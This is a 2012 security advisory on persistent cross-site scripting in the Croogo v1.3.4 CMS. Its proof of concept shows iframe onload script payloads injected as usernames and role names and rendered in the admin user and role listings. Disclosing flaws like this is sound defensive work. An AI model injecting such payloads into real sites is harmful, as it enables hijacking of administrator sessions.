Document Title:
===============
Croogo v1.3.4 CMS - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=533
Release Date:
=============
2012-04-28
Vulnerability Laboratory ID (VL-ID):
====================================
533
Product & Service Introduction:
===============================
A CakePHP powered Content Management System. Croogo is a free and open source content management system,
built on top of CakePHP framework. Impacts the following features ...
Content
Content Types: You can create your own content type
Blog
Node
Page
Taxonomy: Categorization of your content
WYSIWYG Editor
Attachments (for image and file uploads)
Comments
Threaded comments
Email notification
Moderation
Spam protection (requires Akismet API key)
Captcha (requires Recaptcha API key)
Syndication: RSS feeds for
Individual content types
All promoted items
Comments
SEO
Search engine friendly URLs
Full control over meta tags
Custom fields
Menu Manager
Blocks
Contact forms
Email notification
Messages archive
Spam protection (requires Akismet API key)
Captcha (requires Recaptcha API key)
File Manager
Users
ACL Manager (Permissions)
Themes
Web based administration
(Copy of the Vendor Homepage: http://www.croogo.org/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Croogo v1.3.4 Content Management System.
Vulnerability Disclosure Timeline:
==================================
2012-04-26: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities are detected in the Croogo v1.3.4 Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application-side (persistent). Successful exploitation
of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires
low user inter action. Attackers can inject malicious strings as username to execute them when a admin is processing to view, review
or list username or names. The bug is located on application-side & the execution is persistent out of the web application context.
Vulnerable Module(s):
[+] User Listing - Username & Name
[+] Role Listing - Name & Alias
Picture(s):
../1.png
../2.png
../3.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ...
URL: http://croogo.127.0.0.1:80/croogo/admin/users
<td>"><iframe src="a" onload='alert("VL")' <<="" td=""> <td>"><iframe src=a onload=alert("VL")
<</td> <td>[email protected]</td>
<td><a href="/croogo/admin/users/edit/2">Edit</a> <a href="/croogo/admin/users/delete/2/token:
c68c0779f65f5657a8d17c28daebcc7a15fe51e3"
onclick="return confirm('Are you sure?');">Delete</a></td></tr>
URL: http://croogo.127.0.0.1:80/croogo/admin/roles
<tr class="striped"><td>4</td> <td>"><iframe src="a" onload='alert("VL")'
<<="" td=""> <td>"><iframe src=a onload=alert("VL") <</td> <td>
<a href="/croogo/admin/roles/edit/4">Edit</a> <a href="/croogo/admin/roles/delete
Security Risk:
==============
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Chokri Ben Achor ([email protected])
Disclaimer & Information:
=========================
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